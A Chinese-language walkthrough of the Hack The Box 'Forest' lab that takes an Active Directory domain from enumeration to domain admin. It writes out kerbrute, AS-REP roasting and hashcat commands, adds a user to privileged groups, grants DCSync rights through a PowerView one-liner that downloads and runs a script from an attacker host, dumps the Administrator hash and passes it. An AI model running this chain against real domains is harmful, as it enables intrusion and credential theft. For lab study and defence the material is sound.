AD-forest详解
字数 2440 2025-08-12 11:34:44
Active Directory 域渗透实战:Forest 靶机攻防详解
0x00 前言
本教学文档基于 Hack The Box 的 Active Directory 101 系列中的 Forest 靶机,详细记录了从信息收集到最终获取域管理员权限的完整渗透过程。文档涵盖了 Kerberos 枚举、AS-REP Roasting、BloodHound 分析、DACL 权限滥用和 DCSync 攻击等关键技术点。
0x01 信息收集阶段
1.1 端口扫描与服务识别
使用 Nmap 进行全端口扫描:
nmap -sC -sV -p- 10.10.10.161 -oA nmap_forest
关键发现:
- Kerberos (88/TCP): Windows Kerberos 协议服务,可用于枚举 AD 信息
- LDAP (389/TCP): 活动目录 LDAP 服务,允许匿名绑定时可查询大量 AD 信息
- SMB (445/TCP): Windows SMB 协议,检查是否允许空会话
- WinRM (5985/TCP): WS-Management 协议的 Microsoft 实现,可通过 PowerShell 远程连接
- RPC (135/TCP): 可用于枚举 AD 信息
1.2 系统信息确认
通过 SMB 扫描获取:
- 操作系统:Windows Server 2016 Standard 14393
- 计算机名:FOREST
- 域名:htb.local
- 完整域名:FOREST.htb.local
0x02 用户枚举技术
2.1 Kerberos 用户枚举
使用 kerbrute 工具进行用户枚举:
kerbrute_linux_amd64 userenum --dc 10.10.10.161 -d htb.local /usr/share/seclists/Usernames/top-usernames-shortlist.txt
原理:通过发送无预认证的 TGT 请求:
- 如果 KDC 响应
PRINCIPAL UNKNOWN错误,用户名不存在 - 如果 KDC 提示进行预身份验证,用户名存在
2.2 RPC 用户枚举
使用 rpcclient 进行空会话枚举:
rpcclient -U "" 10.10.10.161
enumdomusers
2.3 LDAP 用户枚举
使用 ldapsearch 进行用户枚举:
ldapsearch -x -b "DC=htb,DC=local" -s base -h 10.10.10.161
发现的有效用户:
- sebastien
- lucinda
- svc-alfresco
- andy
- mark
- santi
0x03 AS-REP Roasting 攻击
3.1 攻击原理
当用户账户设置了"不需要 Kerberos 预认证"属性时,可以直接获取其 TGT 票据进行离线破解。
3.2 实际操作
针对 svc-alfresco 用户的攻击:
GetNPUsers.py -dc-ip 10.10.10.161 htb.local/svc-alfresco -request
GetNPUsers.py -dc-ip 10.10.10.161 htb.local/svc-alfresco -request -format hashcat
3.3 密码破解
使用 hashcat 破解获取的哈希:
hashcat -m 18200 hash /root/rockyou.txt --force
破解结果:svc-alfresco 用户的密码为 s3rvice
3.4 利用获取的凭据
使用 evil-winrm 登录:
evil-winrm -u svc-alfresco -p s3rvice -i 10.10.10.161
0x04 BloodHound 信息收集
4.1 BloodHound 安装
Kali Linux 安装步骤:
apt-get install bloodhound
neo4j start
访问 http://localhost:7474,使用默认凭据登录:
- 用户名:neo4j
- 密码:neo4j
4.2 数据收集
上传并执行 SharpHound 收集器:
upload SharpHound.exe
./sharphound.exe
download 20221007230250_BloodHound.zip
4.3 数据分析
在 BloodHound 中上传收集的数据,分析域内关系。
关键发现:
- svc-alfresco 用户属于 Account Operators 组
- Account Operators 组被 Exchange Windows Permissions 组完全信任
- Exchange Windows Permissions 组对 htb.local 具有 WriteDACL 权限
0x05 权限提升:滥用 WriteDACL 权限
5.1 创建新用户并添加到特权组
net user test123 test123! /add /domain
net group 'Exchange Windows Permissions' test123 /add /domain
net localgroup 'Remote Management Users' test123 /add
5.2 分配 DCSync 权限
使用 PowerView 分配 DCSync 权限:
powershell -nop -exec bypass -c "iex(New-Object Net.webclient).downloadstring('http://10.10.16.12/PowerView.ps1')"
Add-DomainObjectAcl -PrincipalIdentity 'test123' -TargetIdentity 'DC=htb,DC=local' -Rights DCSync
5.3 DCSync 攻击原理
DCSync 攻击利用 Microsoft 的远程目录复制服务协议 (MS-DRSR):
- 域控制器之间每15分钟同步一次数据
- 通过 GetNCChanges 请求获取同步数据
- 需要以下权限:
- 复制目录更改 (DS-Replication-Get-Changes)
- 全部复制目录更改 (DS-Replication-Get-Changes-All)
5.4 执行 DCSync 攻击
使用 secretsdump.py 获取域管理员哈希:
secretsdump.py test123:'test123!'@10.10.10.161
获取的管理员哈希:
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
5.5 哈希传递攻击
使用 wmiexec 进行哈希传递:
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 htb.local/administrator@10.10.10.161
0x06 攻击流程总结
- 信息收集:通过端口扫描发现关键服务
- 用户枚举:使用 Kerberos、RPC 和 LDAP 枚举域用户
- AS-REP Roasting:利用 svc-alfresco 用户无预认证设置获取 TGT 并破解
- 初始访问:使用 evil-winrm 通过获取的凭据登录
- 域内侦察:使用 BloodHound 分析域内关系和权限
- 权限提升:
- 创建新用户并添加到 Exchange Windows Permissions 组
- 滥用 WriteDACL 权限分配 DCSync 权限
- 执行 DCSync 攻击获取域管理员哈希
- 横向移动:通过哈希传递获取域管理员权限
0x07 防御建议
- 禁用不必要的协议和服务:如 SMB 空会话
- 强化 Kerberos 设置:确保所有用户都需要预认证
- 权限最小化:限制 Account Operators 和 Exchange Windows Permissions 组的权限
- 监控异常活动:如异常的 DCSync 请求
- 定期审计 ACL:检查域对象上的异常权限分配
- 使用强密码策略:防止密码被轻易破解
0x08 参考工具
- kerbrute:Kerberos 用户枚举和暴力破解工具
- BloodHound/SharpHound:Active Directory 关系分析和数据收集工具
- Impacket:包含多种 Windows 协议攻击工具
- evil-winrm:WinRM 客户端工具
- hashcat:密码哈希破解工具